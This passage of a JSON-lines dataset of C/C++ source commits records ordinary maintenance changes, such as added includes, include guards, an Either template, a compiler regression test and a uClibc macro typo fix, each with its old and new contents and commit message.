91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"c11244b155a6aa198b4d660286365e82698a6a2d","old_file":"Math\/include\/Math\/Utils.h","new_file":"Math\/include\/Math\/Utils.h","old_contents":"\/\/\n\/\/ Copyright (c) 2012 Juan Palacios juan.palacios.puyana@gmail.com\n\/\/ This file is part of minimathlibs.\n\/\/ Subject to the BSD 2-Clause License \n\/\/ - see < http:\/\/opensource.org\/licenses\/BSD-2-Clause>\n\/\/\n\n\n#ifndef MATH_UTILS_H__\n#define MATH_UTILS_H__\n\n\nnamespace Math {\n \ntemplate <typename T>\nstruct CompareWithTolerance\n{\n  CompareWithTolerance() : tol_() {}\n  CompareWithTolerance(T tolerance) : tol_(tolerance) {}\n  bool operator()(const T& lhs, const T& rhs) const\n  {\n    return std::abs(rhs-lhs) <= tol_; \/\/ <= to allow for 0 tolerance.\n  }\n private:\n  T tol_;\n};\n\n} \/\/ namespace Math\n\n#endif \/\/ MATH_UTILS_H__\n","new_contents":"\/\/\n\/\/ Copyright (c) 2012 Juan Palacios juan.palacios.puyana@gmail.com\n\/\/ This file is part of minimathlibs.\n\/\/ Subject to the BSD 2-Clause License \n\/\/ - see < http:\/\/opensource.org\/licenses\/BSD-2-Clause>\n\/\/\n\n\n#ifndef MATH_UTILS_H_\n#define MATH_UTILS_H_\n\n#include <cstdlib>\n#include <cmath>\n\nnamespace Math {\n \ntemplate <typename T>\nbool compareWithTolerance(const T& rhs, const T& lhs, const T& tol)\n{\n  using std::abs;\n  return abs(rhs-lhs) <= tol; \/\/ <= to allow for 0 tolerance.\n}\n\n\ntemplate <typename T>\nstruct CompareWithTolerance\n{\n  CompareWithTolerance() : tol_() {}\n  CompareWithTolerance(T tolerance) : tol_(tolerance) {}\n  bool operator()(const T& lhs, const T& rhs) const\n  {\n    return compareWithTolerance(rhs, lhs, tol_);  \n  }\n private:\n  T tol_;\n};\n\n\n} \/\/ namespace Math\n\n#endif \/\/ MATH_UTILS_H_\n","subject":"Add missing includes for std::abs.","message":"Add missing includes for std::abs.\n","lang":"C","license":"bsd-2-clause","repos":"juanchopanza\/minimathlibs,juanchopanza\/minimathlibs"}
{"commit":"7ab834a58bb46c6b55035221328e5a72f0631907","old_file":"third_party\/hwloc\/static-components.h","new_file":"third_party\/hwloc\/static-components.h","old_contents":"\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n#define THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n\n#include <private\/internal-components.h>\nstatic const struct hwloc_component* hwloc_static_components[] = {\n    &hwloc_noos_component,\n    &hwloc_xml_component,\n    &hwloc_synthetic_component,\n    &hwloc_xml_nolibxml_component,\n    &hwloc_linux_component,\n    &hwloc_linuxio_component,\n#if defined(__x86_64__) || defined(__amd64__) || defined(_M_IX86) || \\\n    defined(_M_X64)\n    &hwloc_x86_component,\n#endif\n    NULL};\n\n#endif  \/\/ THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n","new_contents":"\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n#define THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n\n#include <private\/internal-components.h>\nstatic const struct hwloc_component* hwloc_static_components[] = {\n    &hwloc_noos_component,\n    &hwloc_xml_component,\n    &hwloc_synthetic_component,\n    &hwloc_xml_nolibxml_component,\n#ifdef __Linux__\n    &hwloc_linux_component,\n    &hwloc_linuxio_component,\n#endif\n#ifdef __FreeBSD__\n    &hwloc_freebsd_component,\n#endif\n#if defined(__x86_64__) || defined(__amd64__) || defined(_M_IX86) || \\\n    defined(_M_X64)\n    &hwloc_x86_component,\n#endif\n    NULL};\n\n#endif  \/\/ THIRD_PARTY_HWLOC_STATIC_COMPONENTS_H_\n","subject":"Include Linux or FreeBSD symbols depending on OS we are compiling on.","message":"hwloc: Include Linux or FreeBSD symbols depending on OS we are compiling on.\n","lang":"C","license":"apache-2.0","repos":"tensorflow\/tensorflow,jhseu\/tensorflow,davidzchen\/tensorflow,aam-at\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,arborh\/tensorflow,tensorflow\/tensorflow,DavidNorman\/tensorflow,aam-at\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,freedomtan\/tensorflow,xzturn\/tensorflow,DavidNorman\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,sarvex\/tensorflow,Intel-tensorflow\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,cxxgtxy\/tensorflow,DavidNorman\/tensorflow,tensorflow\/tensorflow,freedomtan\/tensorflow,aldian\/tensorflow,annarev\/tensorflow,cxxgtxy\/tensorflow,petewarden\/tensorflow,gunan\/tensorflow,cxxgtxy\/tensorflow,ppwwyyxx\/tensorflow,renyi533\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,ppwwyyxx\/tensorflow,xzturn\/tensorflow,petewarden\/tensorflow,ppwwyyxx\/tensorflow,paolodedios\/tensorflow,chemelnucfin\/tensorflow,davidzchen\/tensorflow,petewarden\/tensorflow,xzturn\/tensorflow,Intel-Corporation\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,frreiss\/tensorflow-fred,yongtang\/tensorflow,frreiss\/tensorflow-fred,xzturn\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,ppwwyyxx\/tensorflow,DavidNorman\/tensorflow,gunan\/tensorflow,karllessard\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,aam-at\/tensorflow,gautam1858\/tensorflow,jhseu\/tensorflow,arborh\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,adit-chandra\/tensorflow,petewarden\/tensorflow,Intel-tensorflow\/tensorflow,arborh\/tensorflow,aam-at\/tensorflow,chemelnucfin\/tensorflow,yongtang\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,adit-chandra\/tensorflow,paolodedios\/tensorflow,frreiss\/tensorflow-fred,adit-chandra\/tensorflow,petewarden\/tensorflow,gunan\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,paolodedios\/tensorflow,jhseu\/tensorflow,chemelnucfin\/tensorflow,ppwwyyxx\/tensorflow,gunan\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,davidzchen\/tensorflow,xzturn\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,davidzchen\/tensorflow,xzturn\/tensorflow,annarev\/tensorflow,ppwwyyxx\/tensorflow,ppwwyyxx\/tensorflow,gunan\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,adit-chandra\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow,adit-chandra\/tensorflow,yongtang\/tensorflow,yongtang\/tensorflow,annarev\/tensorflow,davidzchen\/tensorflow,Intel-Corporation\/tensorflow,freedomtan\/tensorflow,freedomtan\/tensorflow,jhseu\/tensorflow,cxxgtxy\/tensorflow,renyi533\/tensorflow,aldian\/tensorflow,aldian\/tensorflow,annarev\/tensorflow,adit-chandra\/tensorflow,annarev\/tensorflow,DavidNorman\/tensorflow,sarvex\/tensorflow,annarev\/tensorflow,arborh\/tensorflow,paolodedios\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,jhseu\/tensorflow,yongtang\/tensorflow,renyi533\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,jhseu\/tensorflow,freedomtan\/tensorflow,paolodedios\/tensorflow,adit-chandra\/tensorflow,Intel-tensorflow\/tensorflow,arborh\/tensorflow,annarev\/tensorflow,ppwwyyxx\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow,ppwwyyxx\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow,karllessard\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,chemelnucfin\/tensorflow,sarvex\/tensorflow,cxxgtxy\/tensorflow,petewarden\/tensorflow,renyi533\/tensorflow,frreiss\/tensorflow-fred,arborh\/tensorflow,freedomtan\/tensorflow,gautam1858\/tensorflow,freedomtan\/tensorflow,cxxgtxy\/tensorflow,jhseu\/tensorflow,freedomtan\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,chemelnucfin\/tensorflow,davidzchen\/tensorflow,aam-at\/tensorflow,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,arborh\/tensorflow,annarev\/tensorflow,ppwwyyxx\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,chemelnucfin\/tensorflow,renyi533\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,adit-chandra\/tensorflow,aam-at\/tensorflow,adit-chandra\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,DavidNorman\/tensorflow,Intel-tensorflow\/tensorflow,freedomtan\/tensorflow,renyi533\/tensorflow,renyi533\/tensorflow,ppwwyyxx\/tensorflow,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,arborh\/tensorflow,aam-at\/tensorflow,aldian\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,adit-chandra\/tensorflow,adit-chandra\/tensorflow,freedomtan\/tensorflow,petewarden\/tensorflow,davidzchen\/tensorflow,freedomtan\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,gautam1858\/tensorflow,DavidNorman\/tensorflow,freedomtan\/tensorflow,sarvex\/tensorflow,gunan\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-Corporation\/tensorflow,gunan\/tensorflow,paolodedios\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,aldian\/tensorflow,aam-at\/tensorflow,DavidNorman\/tensorflow,Intel-Corporation\/tensorflow,aldian\/tensorflow,aldian\/tensorflow,davidzchen\/tensorflow,gunan\/tensorflow,Intel-Corporation\/tensorflow,cxxgtxy\/tensorflow,jhseu\/tensorflow,Intel-tensorflow\/tensorflow,Intel-Corporation\/tensorflow,frreiss\/tensorflow-fred,sarvex\/tensorflow,xzturn\/tensorflow,gautam1858\/tensorflow,frreiss\/tensorflow-fred,jhseu\/tensorflow,petewarden\/tensorflow,xzturn\/tensorflow,cxxgtxy\/tensorflow,chemelnucfin\/tensorflow,sarvex\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,frreiss\/tensorflow-fred,xzturn\/tensorflow,DavidNorman\/tensorflow,davidzchen\/tensorflow,DavidNorman\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,gautam1858\/tensorflow,tensorflow\/tensorflow,frreiss\/tensorflow-fred,aam-at\/tensorflow,karllessard\/tensorflow,aam-at\/tensorflow,DavidNorman\/tensorflow,frreiss\/tensorflow-fred,karllessard\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,petewarden\/tensorflow,paolodedios\/tensorflow,adit-chandra\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,arborh\/tensorflow,renyi533\/tensorflow,arborh\/tensorflow,aam-at\/tensorflow,yongtang\/tensorflow,Intel-Corporation\/tensorflow,xzturn\/tensorflow,sarvex\/tensorflow,gautam1858\/tensorflow,xzturn\/tensorflow,jhseu\/tensorflow,Intel-tensorflow\/tensorflow,DavidNorman\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,renyi533\/tensorflow,yongtang\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_saved_model,chemelnucfin\/tensorflow,gautam1858\/tensorflow,arborh\/tensorflow,aldian\/tensorflow,davidzchen\/tensorflow,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,gautam1858\/tensorflow,aam-at\/tensorflow,davidzchen\/tensorflow,xzturn\/tensorflow,gunan\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,arborh\/tensorflow,chemelnucfin\/tensorflow"}
{"commit":"e790a801615295d6d46848e7bedeacc003b18951","old_file":"include\/util\/Either.h","new_file":"include\/util\/Either.h","old_contents":"","new_contents":"#ifndef UTIL_EITHER_H\n#define UTIL_EITHER_H\n\n#include <utility>\n\nnamespace util\n{\n\ntemplate <typename L, typename R>\nclass Either\n{\npublic:\n    bool left(L& x)\n    {\n        if (isLeft) x = l;\n        return isLeft;\n    }\n\n    bool right(R& x)\n    {\n        if (!isLeft) x = r;\n        return !isLeft;\n    }\n\nprivate:\n    template <typename L_, typename R_>\n    friend Either<L_, R_> Left(L_ x);\n\n    template <typename L_, typename R_>\n    friend Either<L_, R_> Right(R_ x);\n\n    bool isLeft;\n    union\n    {\n        L l;\n        R r;\n    };\n};\n\ntemplate <typename L, typename R>\nEither<L, R> Left(L x)\n{\n    Either<L, R> e;\n    e.isLeft = true;\n    e.l = std::move(x);\n    return e;\n}\n\ntemplate <typename L, typename R>\nEither <L, R> Right(R x)\n{\n    Either<L, R> e;\n    e.isLeft = false;\n    e.r = std::move(x);\n    return e;\n}\n\n}\n\n#endif\n","subject":"Add either class for trivially constructable types","message":"Add either class for trivially constructable types\n","lang":"C","license":"mit","repos":"DeonPoncini\/zephyr"}
{"commit":"d44fad2b753c1947a400ab32a89cfb905e1c7f20","old_file":"bgc\/DIC_ATMOS.h","new_file":"bgc\/DIC_ATMOS.h","old_contents":"","new_contents":"C $Header: \/u\/gcmpack\/MITgcm\/pkg\/dic\/DIC_ATMOS.h,v 1.4 2010\/04\/11 20:59:27 jmc Exp $\nC $Name:  $\n\n       COMMON \/INTERACT_ATMOS_NEEDS\/\n     &              co2atmos,\n     &              total_atmos_carbon, total_ocean_carbon,\n     &              total_atmos_carbon_year,\n     &              total_ocean_carbon_year,\n     &              total_atmos_carbon_start,\n     &              total_ocean_carbon_start,\n     &              atpco2\n\n       _RL co2atmos(1002)\n       _RL total_atmos_carbon\n       _RL total_ocean_carbon\n       _RL total_atmos_carbon_year\n       _RL total_atmos_carbon_start\n       _RL total_ocean_carbon_year\n       _RL total_ocean_carbon_start\n       _RL atpco2\n","subject":"Update for checkpoint66j and internal consistency","message":"Update for checkpoint66j and internal consistency\n","lang":"C","license":"mit","repos":"seamanticscience\/mitgcm_mods,seamanticscience\/mitgcm_mods"}
{"commit":"1700bafb8a0793a158f610b21efd4dcb822ddfba","old_file":"src\/ports\/SkFontConfigInterface_direct.h","new_file":"src\/ports\/SkFontConfigInterface_direct.h","old_contents":"\/*\n * Copyright 2009-2015 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* migrated from chrome\/src\/skia\/ext\/SkFontHost_fontconfig_direct.cpp *\/\n\n#include \"SkFontConfigInterface.h\"\n\n#include <fontconfig\/fontconfig.h>\n\nclass SkFontConfigInterfaceDirect : public SkFontConfigInterface {\npublic:\n    SkFontConfigInterfaceDirect();\n    ~SkFontConfigInterfaceDirect() override;\n\n    bool matchFamilyName(const char familyName[],\n                         SkFontStyle requested,\n                         FontIdentity* outFontIdentifier,\n                         SkString* outFamilyName,\n                         SkFontStyle* outStyle) override;\n\n    SkStreamAsset* openStream(const FontIdentity&) override;\n\nprotected:\n    virtual bool isAccessible(const char* filename);\n\nprivate:\n    bool isValidPattern(FcPattern* pattern);\n    FcPattern* MatchFont(FcFontSet* font_set, const char* post_config_family,\n                         const SkString& family);\n    typedef SkFontConfigInterface INHERITED;\n};\n","new_contents":"\/*\n * Copyright 2009-2015 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* migrated from chrome\/src\/skia\/ext\/SkFontHost_fontconfig_direct.cpp *\/\n#ifndef SKFONTCONFIGINTERFACE_DIRECT_H_\n#define SKFONTCONFIGINTERFACE_DIRECT_H_\n\n#include \"SkFontConfigInterface.h\"\n\n#include <fontconfig\/fontconfig.h>\n\nclass SkFontConfigInterfaceDirect : public SkFontConfigInterface {\npublic:\n    SkFontConfigInterfaceDirect();\n    ~SkFontConfigInterfaceDirect() override;\n\n    bool matchFamilyName(const char familyName[],\n                         SkFontStyle requested,\n                         FontIdentity* outFontIdentifier,\n                         SkString* outFamilyName,\n                         SkFontStyle* outStyle) override;\n\n    SkStreamAsset* openStream(const FontIdentity&) override;\n\nprotected:\n    virtual bool isAccessible(const char* filename);\n\nprivate:\n    bool isValidPattern(FcPattern* pattern);\n    FcPattern* MatchFont(FcFontSet* font_set, const char* post_config_family,\n                         const SkString& family);\n    typedef SkFontConfigInterface INHERITED;\n};\n\n#endif\n","subject":"Add include guard to SkFontConfigInterface.h","message":"Add include guard to SkFontConfigInterface.h\n\nBUG=skia:7137\n\nChange-Id: I29536a21211eae8b075d43984f3677f64ff9f481\nReviewed-on: https:\/\/skia-review.googlesource.com\/57820\nReviewed-by: Ben Wagner <53965154ffeecc4a10886eab9259e95965f2979a@google.com>\nCommit-Queue: Ben Wagner <53965154ffeecc4a10886eab9259e95965f2979a@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,google\/skia,HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,google\/skia,rubenvb\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,google\/skia,google\/skia,rubenvb\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"a825a634be45b58bd681f4bbca09a3d80a41a06e","old_file":"test\/FrontendC\/2010-08-12-asm-aggr-arg.c","new_file":"test\/FrontendC\/2010-08-12-asm-aggr-arg.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc %s -S -O0 -o - | FileCheck %s\n\/\/ Radar 8288710: A small aggregate can be passed as an integer.  Make sure\n\/\/ we don't get an error with \"input constraint with a matching output\n\/\/ constraint of incompatible type!\" \n\nstruct wrapper {\n  int i;\n};\n\n\/\/ CHECK: xyz\nint test(int i) {\n  struct wrapper w;\n  w.i = i;\n  __asm__(\"xyz\" : \"=r\" (w) : \"0\" (w));\n  return w.i;\n}\n","subject":"Add a test for llvm-gcc svn 110632.","message":"Add a test for llvm-gcc svn 110632.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@110935 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"d961e95a724729129cc2fd9b26b0da136c445322","old_file":"libc\/sysdeps\/linux\/common\/bits\/uClibc_errno.h","new_file":"libc\/sysdeps\/linux\/common\/bits\/uClibc_errno.h","old_contents":"\/*\n * Copyright (C) 2000-2006 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n#ifndef _BITS_UCLIBC_ERRNO_H\n#define _BITS_UCLIBC_ERRNO_H 1\n\n#ifdef IS_IN_rtld\n# undef errno\n# define errno _dl_errno\nextern int _dl_errno; \/\/ attribute_hidden;\n#elif defined __UCLIBC_HAS_THREADS__\n# include <tls.h>\n# if defined USE___THREAD && USE___THREAD\n#  undef errno\n#  ifndef NOT_IN_libc\n#   define errno __libc_errno\n#  else\n#   define errno errno\n#  endif\nextern __thread int errno __attribute_tls_model_ie;\n# endif \/* USE___THREAD *\/\n#endif \/* IS_IN_rtld *\/\n\n#define __set_errno(val) (errno = (val))\n\n#ifndef __ASSEMBLER__\nextern int *__errno_location (void) __THROW __attribute__ ((__const__))\n# ifdef IS_IN_rtld\n\tattribute_hidden\n# endif\n;\n# if defined __UCLIBC_HAS_THREADS__\n#  include <tls.h>\n#  if defined USE___THREAD && USE___THREAD\nlibc_hidden_proto(__errno_location)\n#  endif\n# endif\n\n#endif \/* !__ASSEMBLER__ *\/\n\n#endif\n","new_contents":"\/*\n * Copyright (C) 2000-2006 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n#ifndef _BITS_UCLIBC_ERRNO_H\n#define _BITS_UCLIBC_ERRNO_H 1\n\n#ifdef IS_IN_rtld\n# undef errno\n# define errno _dl_errno\nextern int _dl_errno; \/\/ attribute_hidden;\n#elif defined __UCLIBC_HAS_THREADS__\n# include <tls.h>\n# if defined USE___THREAD && USE___THREAD\n#  undef errno\n#  ifndef NOT_IN_libc\n#   define errno __libc_errno\n#  else\n#   define errno errno\n#  endif\nextern __thread int errno attribute_tls_model_ie;\n# endif \/* USE___THREAD *\/\n#endif \/* IS_IN_rtld *\/\n\n#define __set_errno(val) (errno = (val))\n\n#ifndef __ASSEMBLER__\nextern int *__errno_location (void) __THROW __attribute__ ((__const__))\n# ifdef IS_IN_rtld\n\tattribute_hidden\n# endif\n;\n# if defined __UCLIBC_HAS_THREADS__\n#  include <tls.h>\n#  if defined USE___THREAD && USE___THREAD\nlibc_hidden_proto(__errno_location)\n#  endif\n# endif\n\n#endif \/* !__ASSEMBLER__ *\/\n\n#endif\n","subject":"Fix typo in macro for tls access model","message":"Fix typo in macro for tls access model\n","lang":"C","license":"lgpl-2.1","repos":"brgl\/uclibc-ng,czankel\/xtensa-uclibc,hjl-tools\/uClibc,kraj\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ysat0\/uClibc,gittup\/uClibc,OpenInkpot-archive\/iplinux-uclibc,majek\/uclibc-vx32,ddcc\/klee-uclibc-0.9.33.2,wbx-github\/uclibc-ng,kraj\/uclibc-ng,hjl-tools\/uClibc,majek\/uclibc-vx32,mephi42\/uClibc,mephi42\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,groundwater\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ffainelli\/uClibc,czankel\/xtensa-uclibc,skristiansson\/uClibc-or1k,OpenInkpot-archive\/iplinux-uclibc,skristiansson\/uClibc-or1k,ffainelli\/uClibc,ffainelli\/uClibc,hwoarang\/uClibc,foss-xtensa\/uClibc,kraj\/uclibc-ng,wbx-github\/uclibc-ng,OpenInkpot-archive\/iplinux-uclibc,atgreen\/uClibc-moxie,m-labs\/uclibc-lm32,hjl-tools\/uClibc,ndmsystems\/uClibc,OpenInkpot-archive\/iplinux-uclibc,hjl-tools\/uClibc,groundwater\/uClibc,atgreen\/uClibc-moxie,brgl\/uclibc-ng,atgreen\/uClibc-moxie,kraj\/uClibc,wbx-github\/uclibc-ng,groundwater\/uClibc,foss-xtensa\/uClibc,skristiansson\/uClibc-or1k,ddcc\/klee-uclibc-0.9.33.2,kraj\/uclibc-ng,kraj\/uClibc,brgl\/uclibc-ng,m-labs\/uclibc-lm32,gittup\/uClibc,ysat0\/uClibc,majek\/uclibc-vx32,hjl-tools\/uClibc,ffainelli\/uClibc,ffainelli\/uClibc,ddcc\/klee-uclibc-0.9.33.2,groundwater\/uClibc,foss-xtensa\/uClibc,skristiansson\/uClibc-or1k,mephi42\/uClibc,ndmsystems\/uClibc,waweber\/uclibc-clang,kraj\/uClibc,waweber\/uclibc-clang,waweber\/uclibc-clang,foss-xtensa\/uClibc,ndmsystems\/uClibc,mephi42\/uClibc,ddcc\/klee-uclibc-0.9.33.2,ysat0\/uClibc,gittup\/uClibc,m-labs\/uclibc-lm32,brgl\/uclibc-ng,foss-for-synopsys-dwc-arc-processors\/uClibc,ndmsystems\/uClibc,hwoarang\/uClibc,ysat0\/uClibc,waweber\/uclibc-clang,majek\/uclibc-vx32,groundwater\/uClibc,hwoarang\/uClibc,wbx-github\/uclibc-ng,czankel\/xtensa-uclibc,kraj\/uclibc-ng,m-labs\/uclibc-lm32,hwoarang\/uClibc,czankel\/xtensa-uclibc,atgreen\/uClibc-moxie,gittup\/uClibc"}
{"commit":"bdaf36df79bb3f80c23988ea8a4884cba12dd39e","old_file":"src\/amx.h","new_file":"src\/amx.h","old_contents":"#if defined __clang__\n\t#pragma clang push\n\t#pragma clang diagnostic ignored \"-Wignored-attributes\"\n#elif defined __GNUC__\n\t#pragma GCC diagnostic push\n\t#pragma GCC diagnostic ignored \"-Wattributes\"\n#endif\n\n#include <amx\/amx.h>\n#include <amx\/amxaux.h>\n#include <amx\/amxdbg.h>\n\n#if defined __clang_\n\t#pragma clang pop\n#elif defined __GNUC__\n\t#pragma GCC pop\n#endif\n","new_contents":"#if defined __clang__\n\t#pragma clang push\n\t#pragma clang diagnostic ignored \"-Wignored-attributes\"\n#elif defined __GNUC__\n\t#pragma GCC diagnostic push\n\t#pragma GCC diagnostic ignored \"-Wattributes\"\n#endif\n\n#ifdef _WIN32\n\t#include <malloc.h>\n#endif\n\n#include <amx\/amx.h>\n#include <amx\/amxaux.h>\n#include <amx\/amxdbg.h>\n\n#if defined __clang_\n\t#pragma clang pop\n#elif defined __GNUC__\n\t#pragma GCC pop\n#endif\n","subject":"Fix alloca() redefinition warning on Windows","message":"Fix alloca() redefinition warning on Windows\n","lang":"C","license":"bsd-2-clause","repos":"Zeex\/samp-plugin-crashdetect,Zeex\/samp-plugin-crashdetect,Zeex\/samp-plugin-crashdetect"}
